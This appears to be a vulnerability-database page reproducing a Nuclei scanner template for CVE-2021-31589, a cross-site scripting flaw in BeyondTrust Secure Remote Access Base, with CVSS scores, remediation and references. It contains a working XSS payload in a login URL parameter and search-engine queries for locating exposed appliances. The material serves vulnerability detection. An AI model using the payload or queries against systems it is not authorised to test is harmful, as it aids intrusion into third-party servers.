Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-31589
HistoryJan 05, 2022 - 1:09 p.m.

BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting

2022-01-0513:09:53
ProjectDiscovery
github.com
5

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.003 Low

EPSS

Percentile

69.0%

BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.

id: CVE-2021-31589

info:
  name: BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
  author: Ahmed Abou-Ela
  severity: medium
  description: BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement.
  remediation: |
    Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/165408
    - https://cxsecurity.com/issue/WLB-2022010013
    - https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
    - https://www.beyondtrust.com/docs/release-notes/index.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31589
    cwe-id: CWE-79
    epss-score: 0.00286
    epss-percentile: 0.68716
    cpe: cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: beyondtrust
    product: appliance_base_software
    shodan-query: 'set-cookie: nsbase_session'
    google-query:
      - '"BeyondTrust" "Redistribution Prohibited"'
      - '"beyondtrust" "redistribution prohibited"'
  tags: cve,cve2021,xss,packetstorm,beyondtrust,bomgar

http:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'
          - 'bomgar'
        case-insensitive: true
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008311012108a6f2dd810972b248dcf42d0c33ead20d3a6d5e52e6c04d28f4e46002201f8e614aae65b077d9c0f8569ae4a9c9d10a97b17d2b28a8a3435a0e53ef3377:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.003 Low

EPSS

Percentile

69.0%